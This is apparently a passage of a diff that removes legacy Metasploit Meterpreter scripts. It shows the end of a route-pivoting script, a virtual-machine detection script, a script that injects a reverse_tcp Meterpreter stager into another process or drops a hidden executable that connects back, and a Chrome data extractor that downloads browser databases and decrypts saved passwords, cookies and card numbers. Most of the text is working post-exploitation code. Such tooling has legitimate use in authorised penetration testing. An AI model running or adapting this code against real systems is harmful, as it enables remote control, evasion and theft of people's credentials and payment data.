return false if(ip.nil? || ip.strip.empty?)
|
||||
begin
|
||||
rw = Rex::Socket::RangeWalker.new(ip.strip)
|
||||
(rw.valid? && rw.length == 1) ? true : false
|
||||
rescue
|
||||
false
|
||||
end
|
||||
end
|
||||
|
||||
# Adds a route to the framework instance
|
||||
def add_route(opts={})
|
||||
subnet = opts[:subnet]
|
||||
netmask = opts[:netmask] || "255.255.255.0" # Default class C
|
||||
Rex::Socket::SwitchBoard.add_route(subnet, netmask, session)
|
||||
end
|
||||
|
||||
# Removes a route to the framework instance
|
||||
def delete_route(opts={})
|
||||
subnet = opts[:subnet]
|
||||
netmask = opts[:netmask] || "255.255.255.0" # Default class C
|
||||
Rex::Socket::SwitchBoard.remove_route(subnet, netmask, session)
|
||||
end
|
||||
|
||||
|
||||
# Defines usage
|
||||
def usage()
|
||||
print_status "Usage: run autoroute [-r] -s subnet -n netmask"
|
||||
print_status "Examples:"
|
||||
print_status " run autoroute -s 10.1.1.0 -n 255.255.255.0 # Add a route to 10.10.10.1/255.255.255.0"
|
||||
print_status " run autoroute -s 10.10.10.1 # Netmask defaults to 255.255.255.0"
|
||||
print_status " run autoroute -s 10.10.10.1/24 # CIDR notation is also okay"
|
||||
print_status " run autoroute -p # Print active routing table"
|
||||
print_status " run autoroute -d -s 10.10.10.1 # Deletes the 10.10.10.1/255.255.255.0 route"
|
||||
print_status "Use the \"route\" and \"ipconfig\" Meterpreter commands to learn about available routes"
|
||||
print_error "Deprecation warning: This script has been replaced by the post/windows/manage/autoroute module"
|
||||
end
|
||||
|
||||
# Validates the command options
|
||||
def validate_cmd(subnet=nil,netmask=nil)
|
||||
if subnet.nil?
|
||||
print_error "Missing -s (subnet) option"
|
||||
return false
|
||||
end
|
||||
|
||||
unless(check_ip(subnet))
|
||||
print_error "Subnet invalid (must be IPv4)"
|
||||
usage
|
||||
return false
|
||||
end
|
||||
|
||||
if(netmask and !(Rex::Socket.addr_atoc(netmask)))
|
||||
print_error "Netmask invalid (must define contiguous IP addressing)"
|
||||
usage
|
||||
return false
|
||||
end
|
||||
|
||||
if(netmask and !check_ip(netmask))
|
||||
print_error "Netmask invalid"
|
||||
return usage
|
||||
end
|
||||
true
|
||||
end
|
||||
|
||||
if print_only
|
||||
print_routes()
|
||||
raise Rex::Script::Completed
|
||||
end
|
||||
|
||||
if remove_all_routes
|
||||
delete_all_routes()
|
||||
raise Rex::Script::Completed
|
||||
end
|
||||
|
||||
raise Rex::Script::Completed unless validate_cmd(subnet,netmask)
|
||||
|
||||
if remove_route
|
||||
print_status("Deleting route to %s/%s..." % [subnet,netmask])
|
||||
route_result = delete_route(:subnet => subnet, :netmask => netmask)
|
||||
else
|
||||
print_status("Adding a route to %s/%s..." % [subnet,netmask])
|
||||
route_result = add_route(:subnet => subnet, :netmask => netmask)
|
||||
end
|
||||
|
||||
if route_result
|
||||
print_good "%s route to %s/%s via %s" % [
|
||||
(remove_route ? "Deleted" : "Added"),
|
||||
subnet,netmask,client.sock.peerhost
|
||||
]
|
||||
else
|
||||
print_error "Could not %s route" % [(remove_route ? "delete" : "add")]
|
||||
end
|
||||
|
||||
if Rex::Socket::SwitchBoard.routes.size > 0
|
||||
print_status "Use the -p option to list all active routes"
|
||||
end
|
||||
|
|
@ -1,359 +0,0 @@
|
|||
##
|
||||
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
|
||||
# If you'd like to imporve this script, please try to port it as a post
|
||||
# module instead. Thank you.
|
||||
##
|
||||
|
||||
|
||||
# Meterpreter script for detecting if target host is a Virtual Machine
|
||||
# Provided by Carlos Perez at carlos_perez[at]darkoperator.com
|
||||
# Version: 0.2.0
|
||||
session = client
|
||||
|
||||
@@exec_opts = Rex::Parser::Arguments.new(
|
||||
"-h" => [ false,"Help menu." ]
|
||||
)
|
||||
|
||||
@@exec_opts.parse(args) { |opt, idx, val|
|
||||
case opt
|
||||
when "-h"
|
||||
print_line("CheckVM -- Check various attributes on the target for evidence that it is a virtual machine")
|
||||
print_line("USAGE: run checkvm")
|
||||
print_line(@@exec_opts.usage)
|
||||
raise Rex::Script::Completed
|
||||
end
|
||||
}
|
||||
|
||||
# Function for detecting if it is a Hyper-V VM
|
||||
def hypervchk(session)
|
||||
begin
|
||||
vm = false
|
||||
key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SOFTWARE\Microsoft', KEY_READ)
|
||||
sfmsvals = key.enum_key
|
||||
if sfmsvals.include?("Hyper-V")
|
||||
print_status("This is a Hyper-V Virtual Machine")
|
||||
vm = true
|
||||
elsif sfmsvals.include?("VirtualMachine")
|
||||
print_status("This is a Hyper-V Virtual Machine")
|
||||
vm = true
|
||||
end
|
||||
key.close
|
||||
rescue
|
||||
end
|
||||
|
||||
if not vm
|
||||
begin
|
||||
key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SYSTEM\ControlSet001\Services', KEY_READ)
|
||||
srvvals = key.enum_key
|
||||
if srvvals.include?("vmicheartbeat")
|
||||
print_status("This is a Hyper-V Virtual Machine")
|
||||
vm = true
|
||||
elsif srvvals.include?("vmicvss")
|
||||
print_status("This is a Hyper-V Virtual Machine")
|
||||
vm = true
|
||||
elsif srvvals.include?("vmicshutdown")
|
||||
print_status("This is a Hyper-V Virtual Machine")
|
||||
vm = true
|
||||
elsif srvvals.include?("vmicexchange")
|
||||
print_status("This is a Hyper-V Virtual Machine")
|
||||
vm = true
|
||||
end
|
||||
rescue
|
||||
end
|
||||
end
|
||||
return vm
|
||||
end
|
||||
|
||||
# Function for checking if it is a VMware VM
|
||||
def vmwarechk(session)
|
||||
vm = false
|
||||
begin
|
||||
key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SYSTEM\ControlSet001\Services', KEY_READ)
|
||||
srvvals = key.enum_key
|
||||
if srvvals.include?("vmdebug")
|
||||
print_status("This is a VMware Virtual Machine")
|
||||
vm = true
|
||||
elsif srvvals.include?("vmmouse")
|
||||
print_status("This is a VMware Virtual Machine")
|
||||
vm = true
|
||||
elsif srvvals.include?("VMTools")
|
||||
print_status("This is a VMware Virtual Machine")
|
||||
vm = true
|
||||
elsif srvvals.include?("VMMEMCTL")
|
||||
print_status("This is a VMware Virtual Machine")
|
||||
vm = true
|
||||
end
|
||||
key.close
|
||||
rescue
|
||||
end
|
||||
if not vm
|
||||
begin
|
||||
key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'HARDWARE\DEVICEMAP\Scsi\Scsi Port 0\Scsi Bus 0\Target Id 0\Logical Unit Id 0')
|
||||
if key.query_value('Identifier').data.downcase =~ /vmware/
|
||||
print_status("This is a VMware Virtual Machine")
|
||||
vm = true
|
||||
end
|
||||
rescue
|
||||
end
|
||||
end
|
||||
if not vm
|
||||
vmwareprocs = [
|
||||
"vmwareuser.exe",
|
||||
"vmwaretray.exe"
|
||||
]
|
||||
vmwareprocs.each do |p|
|
||||
session.sys.process.get_processes().each do |x|
|
||||
if p == (x['name'].downcase)
|
||||
print_status("This is a VMware Virtual Machine") if not vm
|
||||
vm = true
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
key.close
|
||||
return vm
|
||||
|
||||
end
|
||||
# Function for checking if it is a Virtual PC VM
|
||||
def checkvrtlpc(session)
|
||||
vm = false
|
||||
vpcprocs = [
|
||||
"vmusrvc.exe",
|
||||
"vmsrvc.exe"
|
||||
]
|
||||
vpcprocs.each do |p|
|
||||
session.sys.process.get_processes().each do |x|
|
||||
if p == (x['name'].downcase)
|
||||
print_status("This is a VirtualPC Virtual Machine") if not vm
|
||||
vm = true
|
||||
end
|
||||
end
|
||||
end
|
||||
if not vm
|
||||
begin
|
||||
key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SYSTEM\ControlSet001\Services', KEY_READ)
|
||||
srvvals = key.enum_key
|
||||
if srvvals.include?("vpcbus")
|
||||
print_status("This is a VirtualPC Virtual Machine")
|
||||
vm = true
|
||||
elsif srvvals.include?("vpc-s3")
|
||||
print_status("This is a VirtualPC Virtual Machine")
|
||||
vm = true
|
||||
elsif srvvals.include?("vpcuhub")
|
||||
print_status("This is a VirtualPC Virtual Machine")
|
||||
vm = true
|
||||
elsif srvvals.include?("msvmmouf")
|
||||
print_status("This is a VirtualPC Virtual Machine")
|
||||
vm = true
|
||||
end
|
||||
key.close
|
||||
rescue
|
||||
end
|
||||
end
|
||||
return vm
|
||||
end
|
||||
|
||||
def vboxchk(session)
|
||||
vm = false
|
||||
vboxprocs = [
|
||||
"vboxservice.exe",
|
||||
"vboxtray.exe"
|
||||
]
|
||||
vboxprocs.each do |p|
|
||||
session.sys.process.get_processes().each do |x|
|
||||
if p == (x['name'].downcase)
|
||||
print_status("This is a Sun VirtualBox Virtual Machine") if not vm
|
||||
vm = true
|
||||
end
|
||||
end
|
||||
end
|
||||
if not vm
|
||||
begin
|
||||
key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'HARDWARE\ACPI\DSDT', KEY_READ)
|
||||
srvvals = key.enum_key
|
||||
if srvvals.include?("VBOX__")
|
||||
print_status("This is a Sun VirtualBox Virtual Machine")
|
||||
vm = true
|
||||
end
|
||||
rescue
|
||||
end
|
||||
end
|
||||
if not vm
|
||||
begin
|
||||
key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'HARDWARE\ACPI\FADT', KEY_READ)
|
||||
srvvals = key.enum_key
|
||||
if srvvals.include?("VBOX__")
|
||||
print_status("This is a Sun VirtualBox Virtual Machine")
|
||||
vm = true
|
||||
end
|
||||
rescue
|
||||
end
|
||||
end
|
||||
if not vm
|
||||
begin
|
||||
key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'HARDWARE\ACPI\RSDT', KEY_READ)
|
||||
srvvals = key.enum_key
|
||||
if srvvals.include?("VBOX__")
|
||||
print_status("This is a Sun VirtualBox Virtual Machine")
|
||||
vm = true
|
||||
end
|
||||
rescue
|
||||
end
|
||||
end
|
||||
if not vm
|
||||
begin
|
||||
key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'HARDWARE\DEVICEMAP\Scsi\Scsi Port 0\Scsi Bus 0\Target Id 0\Logical Unit Id 0')
|
||||
if key.query_value('Identifier').data.downcase =~ /vbox/
|
||||
print_status("This is a Sun VirtualBox Virtual Machine")
|
||||
vm = true
|
||||
end
|
||||
rescue
|
||||
end
|
||||
end
|
||||
if not vm
|
||||
begin
|
||||
key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'HARDWARE\DESCRIPTION\System')
|
||||
if key.query_value('SystemBiosVersion').data.downcase =~ /vbox/
|
||||
print_status("This is a Sun VirtualBox Virtual Machine")
|
||||
vm = true
|
||||
end
|
||||
rescue
|
||||
end
|
||||
end
|
||||
if not vm
|
||||
begin
|
||||
key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SYSTEM\ControlSet001\Services', KEY_READ)
|
||||
srvvals = key.enum_key
|
||||
if srvvals.include?("VBoxMouse")
|
||||
print_status("This is a Sun VirtualBox Virtual Machine")
|
||||
vm = true
|
||||
elsif srvvals.include?("VBoxGuest")
|
||||
print_status("This is a Sun VirtualBox Virtual Machine")
|
||||
vm = true
|
||||
elsif srvvals.include?("VBoxService")
|
||||
print_status("This is a Sun VirtualBox Virtual Machine")
|
||||
vm = true
|
||||
elsif srvvals.include?("VBoxSF")
|
||||
print_status("This is a Sun VirtualBox Virtual Machine")
|
||||
vm = true
|
||||
end
|
||||
key.close
|
||||
rescue
|
||||
end
|
||||
end
|
||||
return vm
|
||||
end
|
||||
|
||||
def xenchk(session)
|
||||
vm = false
|
||||
xenprocs = [
|
||||
"xenservice.exe"
|
||||
]
|
||||
xenprocs.each do |p|
|
||||
session.sys.process.get_processes().each do |x|
|
||||
if p == (x['name'].downcase)
|
||||
print_status("This is a Xen Virtual Machine") if not vm
|
||||
vm = true
|
||||
end
|
||||
end
|
||||
end
|
||||
if not vm
|
||||
begin
|
||||
key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'HARDWARE\ACPI\DSDT', KEY_READ)
|
||||
srvvals = key.enum_key
|
||||
if srvvals.include?("Xen")
|
||||
print_status("This is a Xen Virtual Machine")
|
||||
vm = true
|
||||
end
|
||||
rescue
|
||||
end
|
||||
end
|
||||
if not vm
|
||||
begin
|
||||
key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'HARDWARE\ACPI\FADT', KEY_READ)
|
||||
srvvals = key.enum_key
|
||||
if srvvals.include?("Xen")
|
||||
print_status("This is a Xen Virtual Machine")
|
||||
vm = true
|
||||
end
|
||||
rescue
|
||||
end
|
||||
end
|
||||
if not vm
|
||||
begin
|
||||
key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'HARDWARE\ACPI\RSDT', KEY_READ)
|
||||
srvvals = key.enum_key
|
||||
if srvvals.include?("Xen")
|
||||
print_status("This is a Xen Virtual Machine")
|
||||
vm = true
|
||||
end
|
||||
rescue
|
||||
end
|
||||
end
|
||||
if not vm
|
||||
begin
|
||||
key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SYSTEM\ControlSet001\Services', KEY_READ)
|
||||
srvvals = key.enum_key
|
||||
if srvvals.include?("xenevtchn")
|
||||
print_status("This is a Xen Virtual Machine")
|
||||
vm = true
|
||||
elsif srvvals.include?("xennet")
|
||||
print_status("This is a Xen Virtual Machine")
|
||||
vm = true
|
||||
elsif srvvals.include?("xennet6")
|
||||
print_status("This is a Xen Virtual Machine")
|
||||
vm = true
|
||||
elsif srvvals.include?("xensvc")
|
||||
print_status("This is a Xen Virtual Machine")
|
||||
vm = true
|
||||
elsif srvvals.include?("xenvdb")
|
||||
print_status("This is a Xen Virtual Machine")
|
||||
vm = true
|
||||
end
|
||||
key.close
|
||||
rescue
|
||||
end
|
||||
end
|
||||
return vm
|
||||
end
|
||||
|
||||
def qemuchk(session)
|
||||
vm = false
|
||||
if not vm
|
||||
begin
|
||||
key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'HARDWARE\DEVICEMAP\Scsi\Scsi Port 0\Scsi Bus 0\Target Id 0\Logical Unit Id 0')
|
||||
if key.query_value('Identifier').data.downcase =~ /qemu/
|
||||
print_status("This is a QEMU/KVM Virtual Machine")
|
||||
vm = true
|
||||
end
|
||||
rescue
|
||||
end
|
||||
end
|
||||
if not vm
|
||||
begin
|
||||
key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'HARDWARE\DESCRIPTION\System\CentralProcessor\0')
|
||||
if key.query_value('ProcessorNameString').data.downcase =~ /qemu/
|
||||
print_status("This is a QEMU/KVM Virtual Machine")
|
||||
vm = true
|
||||
end
|
||||
rescue
|
||||
end
|
||||
end
|
||||
|
||||
return vm
|
||||
|
||||
end
|
||||
|
||||
if client.platform =~ /win32|win64/
|
||||
print_status("Checking if target is a Virtual Machine .....")
|
||||
found = hypervchk(session)
|
||||
found = vmwarechk(session) if not found
|
||||
found = checkvrtlpc(session) if not found
|
||||
found = vboxchk(session) if not found
|
||||
found = xenchk(session) if not found
|
||||
found = qemuchk(session) if not found
|
||||
print_status("It appears to be physical host.") if not found
|
||||
else
|
||||
print_error("This version of Meterpreter is not supported with this Script!")
|
||||
raise Rex::Script::Completed
|
||||
end
|
|
@ -1,153 +0,0 @@
|
|||
##
|
||||
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
|
||||
# If you'd like to imporve this script, please try to port it as a post
|
||||
# module instead. Thank you.
|
||||
##
|
||||
|
||||
|
||||
# Author: Scriptjunkie
|
||||
# Uses a meterpreter session to spawn a new meterpreter session in a different process.
|
||||
# A new process allows the session to take "risky" actions that might get the process killed by
|
||||
# A/V, giving a meterpreter session to another controller, or start a keylogger on another
|
||||
# process.
|
||||
#
|
||||
|
||||
#
|
||||
# Options
|
||||
#
|
||||
opts = Rex::Parser::Arguments.new(
|
||||
"-h" => [ false, "This help menu"],
|
||||
"-r" => [ true, "The IP of a remote Metasploit listening for the connect back"],
|
||||
"-p" => [ true, "The port on the remote host where Metasploit is listening (default: 4546)"],
|
||||
"-w" => [ false, "Write and execute an exe instead of injecting into a process"],
|
||||
"-e" => [ true, "Executable to inject into. Default notepad.exe, will fall back to spawn if not found."],
|
||||
"-P" => [ true, "Process id to inject into; use instead of -e if multiple copies of one executable are running."],
|
||||
"-s" => [ false, "Spawn new executable to inject to. Only useful with -P."],
|
||||
"-D" => [ false, "Disable the automatic exploit/multi/handler (use with -r to accept on another system)"]
|
||||
)
|
||||
|
||||
#
|
||||
# Default parameters
|
||||
#
|
||||
|
||||
rhost = Rex::Socket.source_address("1.2.3.4")
|
||||
rport = 4546
|
||||
lhost = "127.0.0.1"
|
||||
|
||||
spawn = false
|
||||
autoconn = true
|
||||
inject = true
|
||||
target_pid = nil
|
||||
target = "notepad.exe"
|
||||
pay = nil
|
||||
|
||||
#
|
||||
# Option parsing
|
||||
#
|
||||
opts.parse(args) do |opt, idx, val|
|
||||
case opt
|
||||
when "-h"
|
||||
print_line(opts.usage)
|
||||
raise Rex::Script::Completed
|
||||
when "-r"
|
||||
rhost = val
|
||||
when "-p"
|
||||
rport = val.to_i
|
||||
when "-P"
|
||||
target_pid = val.to_i
|
||||
when "-e"
|
||||
target = val
|
||||
when "-D"
|
||||
autoconn = false
|
||||
when "-w"
|
||||
inject = false
|
||||
when "-s"
|
||||
spawn = true
|
||||
end
|
||||
end
|
||||
|
||||
print_status("Creating a reverse meterpreter stager: LHOST=#{rhost} LPORT=#{rport}")
|
||||
|
||||
payload = "windows/meterpreter/reverse_tcp"
|
||||
pay = client.framework.payloads.create(payload)
|
||||
pay.datastore['LHOST'] = rhost
|
||||
pay.datastore['LPORT'] = rport
|
||||
mul = client.framework.exploits.create("multi/handler")
|
||||
mul.share_datastore(pay.datastore)
|
||||
mul.datastore['WORKSPACE'] = client.workspace
|
||||
mul.datastore['PAYLOAD'] = payload
|
||||
mul.datastore['EXITFUNC'] = 'process'
|
||||
mul.datastore['ExitOnSession'] = true
|
||||
print_status("Running payload handler")
|
||||
mul.exploit_simple(
|
||||
'Payload' => mul.datastore['PAYLOAD'],
|
||||
'RunAsJob' => true
|
||||
)
|
||||
|
||||
if client.platform =~ /win32|win64/
|
||||
server = client.sys.process.open
|
||||
|
||||
print_status("Current server process: #{server.name} (#{server.pid})")
|
||||
|
||||
if ! inject
|
||||
exe = ::Msf::Util::EXE.to_win32pe(client.framework, raw)
|
||||
print_status("Meterpreter stager executable #{exe.length} bytes long")
|
||||
|
||||
#
|
||||
# Upload to the filesystem
|
||||
#
|
||||
tempdir = client.sys.config.getenv('TEMP')
|
||||
tempexe = tempdir + "\\" + Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe"
|
||||
tempexe.gsub!("\\\\", "\\")
|
||||
|
||||
fd = client.fs.file.new(tempexe, "wb")
|
||||
fd.write(exe)
|
||||
fd.close
|
||||
print_status("Uploaded the agent to #{tempexe} (must be deleted manually)")
|
||||
|
||||
#
|
||||
# Execute the agent
|
||||
#
|
||||
print_status("Executing the agent with endpoint #{rhost}:#{rport}...")
|
||||
pid = session.sys.process.execute(tempexe, nil, {'Hidden' => true})
|
||||
elsif ! spawn
|
||||
# Get the target process name
|
||||
print_status("Duplicating into #{target}...")
|
||||
|
||||
# Get the target process pid
|
||||
if not target_pid
|
||||
target_pid = client.sys.process[target]
|
||||
end
|
||||
|
||||
if not target_pid
|
||||
print_error("Could not access the target process")
|
||||
print_status("Spawning a notepad.exe host process...")
|
||||
note = client.sys.process.execute('notepad.exe', nil, {'Hidden' => true })
|
||||
target_pid = note.pid
|
||||
end
|
||||
else
|
||||
print_status("Spawning a #{target} host process...")
|
||||
newproc = client.sys.process.execute(target, nil, {'Hidden' => true })
|
||||
target_pid = newproc.pid
|
||||
if not target_pid
|
||||
print_error("Could not create a process around #{target}")
|
||||
raise Rex::Script::Completed
|
||||
end
|
||||
end
|
||||
|
||||
# Do the duplication
|
||||
print_status("Injecting meterpreter into process ID #{target_pid}")
|
||||
host_process = client.sys.process.open(target_pid, PROCESS_ALL_ACCESS)
|
||||
raw = pay.generate
|
||||
mem = host_process.memory.allocate(raw.length + (raw.length % 1024))
|
||||
|
||||
print_status("Allocated memory at address #{"0x%.8x" % mem}, for #{raw.length} byte stager")
|
||||
print_status("Writing the stager into memory...")
|
||||
host_process.memory.write(mem, raw)
|
||||
host_process.thread.create(mem, 0)
|
||||
print_status("New server process: #{target_pid}")
|
||||
|
||||
else
|
||||
print_error("This version of Meterpreter is not supported with this Script!")
|
||||
raise Rex::Script::Completed
|
||||
end
|
|
@ -1,244 +0,0 @@
|
|||
##
|
||||
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
|
||||
# If you'd like to imporve this script, please try to port it as a post
|
||||
# module instead. Thank you.
|
||||
##
|
||||
|
||||
|
||||
#
|
||||
# Script to extract data from a chrome installation.
|
||||
#
|
||||
# Author: Sven Taute <sven dot taute at gmail com>
|
||||
#
|
||||
|
||||
require 'sqlite3'
|
||||
require 'yaml'
|
||||
|
||||
if client.platform !~ /win32/
|
||||
print_error("This version of Meterpreter is not supported with this Script!")
|
||||
raise Rex::Script::Completed
|
||||
end
|
||||
@host_info = client.sys.config.sysinfo
|
||||
@chrome_files = [
|
||||
{ :in_file => "Web Data", :sql => "select * from autofill;", :out_file => "autofill"},
|
||||
{ :in_file => "Web Data", :sql => "SELECT username_value,origin_url,signon_realm FROM logins;", :out_file => "user_site"},
|
||||
{ :in_file => "Web Data", :sql => "select * from autofill_profiles;", :out_file => "autofill_profiles"},
|
||||
{ :in_file => "Web Data", :sql => "select * from credit_cards;", :out_file => "autofill_credit_cards", :encrypted_fields => ["card_number_encrypted"]},
|
||||
{ :in_file => "Cookies", :sql => "select * from cookies;", :out_file => "cookies"},
|
||||
{ :in_file => "History", :sql => "select * from urls;", :out_file => "url_history"},
|
||||
{ :in_file => "History", :sql => "SELECT url FROM downloads;", :out_file => "download_history"},
|
||||
{ :in_file => "History", :sql => "SELECT term FROM keyword_search_terms;", :out_file => "search_history"},
|
||||
{ :in_file => "Login Data", :sql => "select * from logins;", :out_file => "logins", :encrypted_fields => ["password_value"]},
|
||||
{ :in_file => "Bookmarks", :sql => nil, :out_file => "bookmarks.json"},
|
||||
{ :in_file => "Preferences", :sql => nil, :out_file => "preferences.json"},
|
||||
]
|
||||
@migrate = false
|
||||
@old_pid = nil
|
||||
@output_format = []
|
||||
|
||||
opts = Rex::Parser::Arguments.new(
|
||||
"-h" => [ false, "Help menu" ],
|
||||
"-m" => [ false, "Migrate into explorer.exe"],
|
||||
"-f" => [ true, "Output format: j[son], y[aml], t[ext]. Defaults to json"]
|
||||
)
|
||||
|
||||
opts.parse(args) { |opt, idx, val|
|
||||
case opt
|
||||
when "-m"
|
||||
@migrate = true
|
||||
when "-f"
|
||||
if val =~ /^j(son)?$/
|
||||
@output_format << "json"
|
||||
elsif val =~ /^y(aml)?$/
|
||||
@output_format << "yaml"
|
||||
elsif val =~ /^t(ext)?$/
|
||||
@output_format << "text"
|
||||
else
|
||||
print_error("unknown format '#{val}'.")
|
||||
raise Rex::Script::Completed
|
||||
end
|
||||
when "-h"
|
||||
print_line("")
|
||||
print_line("DESCRIPTION: Script for enumerating preferences and extracting")
|
||||
print_line("information from the Google Chrome Browser on a target system.")
|
||||
print_line("Decryption of creditcard information and passwords only supported")
|
||||
print_line("on 32bit Windows Operating Systems.")
|
||||
print_line("")
|
||||
print_line("USAGE: run enum_chrome [-m]")
|
||||
print_line(opts.usage)
|
||||
raise Rex::Script::Completed
|
||||
end
|
||||
}
|
||||
|
||||
@output_format << "json" if @output_format.empty?
|
||||
if @output_format.include?("json")
|
||||
begin
|
||||
require 'json'
|
||||
rescue LoadError
|
||||
print_error("JSON is not available.")
|
||||
@output_format.delete("json")
|
||||
if @output_format.empty?
|
||||
print_status("Falling back to raw text output.")
|
||||
@output_format << "text"
|
||||
end
|
||||
end
|
||||
end
|
||||
print_status("using output format(s): " + @output_format.join(", "))
|
||||
|
||||
def prepare_railgun
|
||||
rg = client.railgun
|
||||
if (!rg.get_dll('crypt32'))
|
||||
rg.add_dll('crypt32')
|
||||
end
|
||||
|
||||
if (!rg.crypt32.functions["CryptUnprotectData"])
|
||||
rg.add_function("crypt32", "CryptUnprotectData", "BOOL", [
|
||||
["PBLOB","pDataIn", "in"],
|
||||
["PWCHAR", "szDataDescr", "out"],
|
||||
["PBLOB", "pOptionalEntropy", "in"],
|
||||
["PDWORD", "pvReserved", "in"],
|
||||
["PBLOB", "pPromptStruct", "in"],
|
||||
["DWORD", "dwFlags", "in"],
|
||||
["PBLOB", "pDataOut", "out"]
|
||||
])
|
||||
end
|
||||
end
|
||||
|
||||
def decrypt_data(data)
|
||||
rg = client.railgun
|
||||
pid = client.sys.process.open.pid
|
||||
process = client.sys.process.open(pid, PROCESS_ALL_ACCESS)
|
||||
|
||||
mem = process.memory.allocate(1024)
|
||||
process.memory.write(mem, data)
|
||||
|
||||
addr = [mem].pack("V")
|
||||
len = [data.length].pack("V")
|
||||
ret = rg.crypt32.CryptUnprotectData("#{len}#{addr}", 16, nil, nil, nil, 0, 8)
|
||||
len, addr = ret["pDataOut"].unpack("V2")
|
||||
return "" if len == 0
|
||||
decrypted = process.memory.read(addr, len)
|
||||
end
|
||||
|
||||
def write_output(file, rows)
|
||||
if @output_format.include?("json")
|
||||
::File.open(file + ".json", "w") { |f| f.write(JSON.pretty_generate(rows)) }
|
||||
end
|
||||
if @output_format.include?("yaml")
|
||||
::File.open(file + ".yml", "w") { |f| f.write(JSON.pretty_generate(rows)) }
|
||||
end
|
||||
if @output_format.include?("text")
|
||||
::File.open(file + ".txt", "w") do |f|
|
||||
f.write(rows.first.keys.join("\t") + "\n")
|
||||
f.write(rows.map { |e| e.values.map(&:inspect).join("\t") }.join("\n"))
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def process_files(username)
|
||||
@chrome_files.each do |item|
|
||||
in_file = File.join(@log_dir, Rex::FileUtils.clean_path(username), item[:in_file])
|
||||
out_file = File.join(@log_dir, Rex::FileUtils.clean_path(username), item[:out_file])
|
||||
if item[:sql]
|
||||
db = SQLite3::Database.new(in_file)
|
||||
columns, *rows = db.execute2(item[:sql])
|
||||
db.close
|
||||
rows.map! do |row|
|
||||
res = Hash[*columns.zip(row).flatten]
|
||||
if item[:encrypted_fields] && client.sys.config.getuid != "NT AUTHORITY\\SYSTEM"
|
||||
if @host_info['Architecture'] !~ /x64/
|
||||
item[:encrypted_fields].each do |field|
|
||||
print_good("decrypting field '#{field}'...")
|
||||
res[field + "_decrypted"] = decrypt_data(res[field])
|
||||
end
|
||||
else
|
||||
print_error("Can not decrypt #{item[:out_file]}, decryption only supported in 32bit OS")
|
||||
end
|
||||
end
|
||||
res
|
||||
end
|
||||
if rows.length > 0
|
||||
print_status("writing output '#{item[:out_file]}'...")
|
||||
write_output(out_file, rows)
|
||||
else
|
||||
print_status("no '#{item[:out_file]}' data found in file '#{item[:in_file]}'")
|
||||
end
|
||||
else
|
||||
::FileUtils.cp(in_file, out_file)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def extract_data(username)
|
||||
chrome_path = @profiles_path + "\\" + username + @data_path
|
||||
begin
|
||||
client.fs.file.stat(chrome_path)
|
||||
rescue
|
||||
print_status("no files found for user '#{username}'")
|
||||
return false
|
||||
end
|
||||
|
||||
@chrome_files.map{ |e| e[:in_file] }.uniq.each do |f|
|
||||
remote_path = chrome_path + '\\' + f
|
||||
local_path = File.join(@log_dir, Rex::FileUtils.clean_path(username), f)
|
||||
print_status("downloading file #{f} to '#{local_path}'...")
|
||||
client.fs.file.download_file(local_path, remote_path)
|
||||
end
|
||||
return true
|
||||
end
|
||||
|
||||
if @migrate
|
||||
current_pid = client.sys.process.open.pid
|
||||
target_pid = client.sys.process["explorer.exe"]
|
||||
if target_pid != current_pid
|
||||
@old_pid = current_pid
|
||||
print_status("current PID is #{current_pid}. migrating into explorer.exe, PID=#{target_pid}...")
|
||||
client.core.migrate(target_pid)
|
||||
print_status("done.")
|
||||
end
|
||||
end
|
||||
|
||||
host = session.session_host
|
||||
@log_dir = File.join(Msf::Config.log_directory, "scripts", "enum_chrome", Rex::FileUtils.clean_path(@host_info['Computer']), Time.now.strftime("%Y%m%d.%H%M"))
|
||||
::FileUtils.mkdir_p(@log_dir)
|
||||
|
||||
sysdrive = client.sys.config.getenv('SYSTEMDRIVE')
|
||||
os = @host_info['OS']
|
||||
if os =~ /(Windows 7|2008|Vista)/
|
||||
@profiles_path = sysdrive + "\\Users\\"
|
||||
@data_path = "\\AppData\\Local\\Google\\Chrome\\User Data\\Default"
|
||||
elsif os =~ /(2000|NET|XP)/
|
||||
@profiles_path = sysdrive + "\\Documents and Settings\\"
|
||||
@data_path = "\\Local Settings\\Application Data\\Google\\Chrome\\User Data\\Default"
|
||||
end
|
||||
|
||||
usernames = []
|
||||
|
||||
uid = client.sys.config.getuid
|
||||
|
||||
if is_system?
|
||||
print_status "running as SYSTEM, extracting user list..."
|
||||
print_status "(decryption of passwords and credit card numbers will not be possible)"
|
||||
client.fs.dir.foreach(@profiles_path) do |u|
|
||||
usernames << u if u !~ /^(\.|\.\.|All Users|Default|Default User|Public|desktop.ini|LocalService|NetworkService)$/
|
||||
end
|
||||
print_status "users found: #{usernames.join(", ")}"
|
||||
else
|
||||
print_status "running as user '#{uid}'..."
|
||||
usernames << client.sys.config.getenv('USERNAME')
|
||||
prepare_railgun
|
||||
end
|
||||
|
||||
usernames.each do |u|
|
||||
print_status("extracting data for user '#{u}'...")
|
||||
success = extract_data(u)
|
||||
process_files(u) if success
|
||||
end
|
||||
|
||||
if @migrate && @old_pid
|
||||
print_status("migrating back into PID=#{@old_pid}...")
|
||||
